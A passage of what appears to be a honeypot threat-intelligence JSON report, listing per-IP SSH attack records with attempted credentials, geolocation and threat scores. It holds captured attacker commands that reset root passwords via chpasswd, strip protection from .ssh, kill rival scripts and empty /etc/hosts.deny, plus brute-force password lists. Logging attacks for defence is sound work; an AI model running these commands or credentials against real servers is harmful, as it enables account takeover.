        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:l2R8zeFLhwLD\"|chpasswd|bash",
        "echo \"root:necdwgmRjFSA\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 45538,
      "as_org": "ODS Joint Stock Company",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T06:33:12.196000+00:00",
        "last_seen_30d": "2026-04-02T07:46:38.762000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 58
      }
    },
    "186.116.49.0": {
      "attack_count": 236,
      "first_seen": "2026-04-02T00:54:39.151Z",
      "last_seen": "2026-04-02T02:08:14.606Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12qwe34",
        "AA1234567",
        "Ab987",
        "Abc246",
        "Abcd5678",
        "Dd123456.",
        "Jkl12345",
        "Ll12345678",
        "Password555",
        "QQ#1234",
        "QQ-123456",
        "Qwerty+123",
        "Qwerty@root",
        "asdfgh12",
        "ddEE1234",
        "huawei1234@",
        "huawei3333",
        "qweasdzxc"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Dx5PDcfkHuyj\"|chpasswd|bash",
        "echo \"root:dZSvwZBzlN40\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Pereira",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 295,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T00:54:39.151000+00:00",
        "last_seen_30d": "2026-04-02T02:09:17.891000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 59
      }
    },
    "45.77.236.187": {
      "attack_count": 204,
      "first_seen": "2026-04-30T07:22:15.594Z",
      "last_seen": "2026-04-30T07:23:38.401Z",
      "sessions": 102,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 20473,
      "as_org": "The Constant Company, LLC",
      "threat_score": 37.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 307,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T07:22:15.594000+00:00",
        "last_seen_30d": "2026-04-30T07:24:41.565000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 103
      }
    },
    "189.217.130.86": {
      "attack_count": 194,
      "first_seen": "2026-04-18T21:41:27.233Z",
      "last_seen": "2026-04-18T22:21:22.330Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "345gs5662d34",
        "Test",
        "admin",
        "bot",
        "deploy",
        "devops",
        "frappe",
        "ftpuser",
        "ganesh",
        "jenkins",
        "newuser",
        "odoo",
        "sftp_user",
        "steam",
        "taibabi",
        "teamspeak"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "222222",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123!@",
        "Admin12345678!@#",
        "Admin31!",
        "Bot13!",
        "Frappe!@#$",
        "Hello@123",
        "KS@gshyx@zl1651",
        "Qazwsx1111111@",
        "Teamspeak13!",
        "ZAQ!2wsx54321#$",
        "abc123$$$",
        "deploy123",
        "ganesh",
        "jenkins1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"222222\\nPzMKfV7KgRHT\\nPzMKfV7KgRHT\\n\"|passwd",
        "echo -e \"222222\\nPzMKfV7KgRHT\\nPzMKfV7KgRHT\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Chalco",
      "asn": 28548,
      "as_org": "Cablevision, S.A. de C.V.",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T21:41:27.233000+00:00",
        "last_seen_30d": "2026-04-18T22:22:24.084000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 61
      }
    },
    "200.46.125.168": {
      "attack_count": 194,
      "first_seen": "2026-04-05T07:42:02.137Z",
      "last_seen": "2026-04-05T08:49:27.411Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "sammy",
        "test",
        "ubuntu",
        "345gs5662d34",
        "ali",
        "ashok",
        "claude",
        "deploy",
        "frappe",
        "fred",
        "gopal",
        "postgres",
        "user",
        "user21",
        "username"
      ],
      "passwords_attempted": [
        "143143",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin2024@",
        "Ali19!",
        "Lf123456.",
        "P@sssw0rd03",
        "Qazwsx6666!!",
        "Qwert@1234",
        "Sammy!@#$",
        "Sammy04",
        "ZAQ!2wsx2025#",
        "admin2025",
        "asd123,./",
        "ashok",
        "claude16!",
        "deploy@321",
        "frappe06!",
        "fred",
        "gopal"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test@1234\\npnAponWvSlqP\\npnAponWvSlqP\\n\"|passwd",
        "echo -e \"test@1234\\npnAponWvSlqP\\npnAponWvSlqP\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 260,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T07:42:02.137000+00:00",
        "last_seen_30d": "2026-04-05T08:50:35.683000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 66
      }
    },
    "91.92.199.36": {
      "attack_count": 194,
      "first_seen": "2026-04-07T18:36:29.808Z",
      "last_seen": "2026-04-07T19:19:32.432Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "hsadmin",
        "ubuntu",
        "345gs5662d34",
        "app",
        "bot",
        "business",
        "dev",
        "ftptest",
        "hadoopuser",
        "minecraft",
        "packer",
        "qiuhan",
        "sammy",
        "tiktok",
        "userinex"
      ],
      "passwords_attempted": [
        "1",
        "1234",
        "123456",
        "2024abc",
        "321456",
        "3245gs5662d34",
        "345gs5662d34",
        "AAAA123456",
        "Aa111111.",
        "Bot4",
        "QQcc111",
        "Qwe123123",
        "Qwerty$",
        "a1234567aa",
        "app123",
        "business",
        "dev@2026",
        "hsadmin",
        "packer",
        "qazwsx#$"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"hsadmin\\nnrjGByVBPNEm\\nnrjGByVBPNEm\\n\"|passwd",
        "echo -e \"hsadmin\\nnrjGByVBPNEm\\nnrjGByVBPNEm\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 34224,
      "as_org": "Neterra Ltd.",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T18:36:29.808000+00:00",
        "last_seen_30d": "2026-04-07T19:20:39.529000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 63
      }
    },
    "120.48.102.177": {
      "attack_count": 193,
      "first_seen": "2026-04-05T17:32:26.653Z",
      "last_seen": "2026-04-29T09:22:31.517Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "backoffice",
        "postgres",
        "steam",
        "test",
        "test4",
        "user123",
        "webtest"
      ],
      "passwords_attempted": [
        "123456789Aa",
        "1234qwer",
        "123qweasd",
        "147258",
        "1q2w#E$R",
        "20241",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456h^",
        "Hello12345",
        "P@ssword",
        "Qazwsx9999.",
        "admin@123.com",
        "backoffice",
        "hao123.com",
        "lsfadmin",
        "p@ssword",
        "tester",
        "ubuntu1!",
        "ubuntu@123!@#"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ubuntu@123!@#\\nddIdQO1A6dvC\\nddIdQO1A6dvC\\n\"|passwd",
        "echo -e \"ubuntu@123!@#\\nddIdQO1A6dvC\\nddIdQO1A6dvC\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 55.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.4,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 278,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T17:32:26.653000+00:00",
        "last_seen_30d": "2026-04-29T09:23:38.183000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 85
      }
    },
    "186.251.71.202": {
      "attack_count": 183,
      "first_seen": "2026-04-05T03:05:44.675Z",
      "last_seen": "2026-04-05T04:51:16.000Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "ubuntu",
        "345gs5662d34",
        "fileuser",
        "matt",
        "minecraft",
        "odoo",
        "sammy"
      ],
      "passwords_attempted": [
        "123456",
        "123456!@#$%^",
        "123456as",
        "123ABCabc",
        "1qaz2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "A",
        "Asdf1234!",
        "Minecraft",
        "Password!23",
        "Qazwsx2022#",
        "Root54321!@",
        "Root9999#$",
        "ZAQ!2wsx54321@",
        "ZZbb123123",
        "bbDD111",
        "k9jt3d",
        "qazwsx",
        "qazwsx111111"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:1rJPItjv3102\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Trindade",
      "asn": 262826,
      "as_org": "PW INFORMATICA E TECNOLOGIA LTDA",
      "threat_score": 6.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 247,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T03:05:44.675000+00:00",
        "last_seen_30d": "2026-04-05T04:52:19.094000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 183,
        "Suricata": 64
      }
    },
    "51.159.170.96": {
      "attack_count": 153,
      "first_seen": "2026-04-15T00:13:16.332Z",
      "last_seen": "2026-04-15T00:14:45.083Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "chinxmr",
        "dev",
        "dillof",
        "git",
        "mc",
        "oracle",
        "pilinux",
        "postgres",
        "server",
        "system",
        "test",
        "testuser",
        "ubnt",
        "ubuntu",
        "user",
        "zabbix"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "1234567890",
        "1qaz@wsx",
        "chi1234567890",
        "dev",
        "dillofsha256s",
        "git",
        "mc",
        "oracle",
        "pilinux123",
        "postgres",
        "redhat",
        "root",
        "server",
        "system",
        "test",
        "testuser",
        "toor"
      ],
      "commands_executed": [
        "uname -a ; echo 'vT'"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T23:52:49.948000+00:00",
        "last_seen_30d": "2026-04-15T00:15:47.471000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 153,
        "Suricata": 64
      }
    },
    "51.15.145.170": {
      "attack_count": 148,
      "first_seen": "2026-04-28T23:07:04.395Z",
      "last_seen": "2026-04-29T00:13:06.677Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "ubuntu",
        "user",
        "administrator",
        "ftpuser",
        "guest",
        "hadoop",
        "minecraft",
        "root",
        "sdtdserver",
        "sftptest",
        "sinusbot",
        "user0"
      ],
      "passwords_attempted": [
        "1",
        "111111",
        "123",
        "3245gs5662d34",
        "43214321",
        "Administrator",
        "P@ssw0rd",
        "P@ssw0rd2025",
        "Passw0rd",
        "admin",
        "default",
        "master",
        "qwe123!@#",
        "qwerty12345",
        "test123",
        "test123qwe",
        "ubuntu2022",
        "user00"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ubuntu2022\\n8iGKwki5btTf\\n8iGKwki5btTf\\n\"|passwd",
        "echo -e \"ubuntu2022\\n8iGKwki5btTf\\n8iGKwki5btTf\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 35.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 191,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T23:07:04.395000+00:00",
        "last_seen_30d": "2026-04-29T00:14:09.983000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 148,
        "Suricata": 43
      }
    },
    "3.130.168.2": {
      "attack_count": 128,
      "first_seen": "2026-04-03T04:07:37.042Z",
      "last_seen": "2026-04-26T03:50:10.630Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 10238,
        "days_active_30d": 30,
        "ports_targeted_30d": 177,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T03:02:24+00:00",
        "last_seen_30d": "2026-04-30T15:18:29.802000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6609,
        "Honeytrap": 3101,
        "Cowrie": 128,
        "Dionaea": 119,
        "Redishoneypot": 94,
        "ConPot": 92,
        "Mailoney": 47,
        "ElasticPot": 16,
        "Tanner": 10,
        "Ipphoney": 6,
        "H0neytr4p": 5,
        "CitrixHoneypot": 4,
        "Honeyaml": 4,
        "Ciscoasa": 3
      }
    },
    "113.31.103.129": {
      "attack_count": 125,
      "first_seen": "2026-04-13T21:14:10.174Z",
      "last_seen": "2026-04-13T22:01:16.733Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "345gs5662d34",
        "bot",
        "ftpuser",
        "sftptest",
        "test",
        "test1",
        "ventas01",
        "will"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456123",
        "Bot28!",
        "Oracle123456",
        "Sz123456@",
        "Welcome@123",
        "ab@123456",
        "ftpuser#2026",
        "oracle03!",
        "qq666666",
        "qwe123",
        "will"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "echo \"root:UAgBeWqIyjBa\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -m",
        "w",
        "which ls"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17621,
      "as_org": "China Unicom Shanghai network",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 170,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T21:14:10.174000+00:00",
        "last_seen_30d": "2026-04-13T22:11:20.772000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 125,
        "Suricata": 45
      }
    },
    "156.238.224.50": {
      "attack_count": 93,
      "first_seen": "2026-04-26T16:36:18.257Z",
      "last_seen": "2026-04-26T16:54:11.486Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!Qaz123",
        "0606060",
        "1414141",
        "1QWERT6",
        "1qazxsw",
        "3245gs5662d34",
        "345gs5662d34",
        "8",
        "Hh123",
        "P@$$w0rd1",
        "P@ssw0rd!@",
        "Qaz2wsx#edc",
        "Qwerty11",
        "changeme",
        "microsoft",
        "q!@",
        "thanh123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 8796,
      "as_org": "FASTNET DATA INC",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T16:36:18.257000+00:00",
        "last_seen_30d": "2026-04-26T16:55:20.337000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 38
      }
    },
    "223.123.43.7": {
      "attack_count": 68,
      "first_seen": "2026-04-04T03:25:49.091Z",
      "last_seen": "2026-04-05T21:38:18.124Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T03:25:49.091000+00:00",
        "last_seen_30d": "2026-04-05T21:39:22.975000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
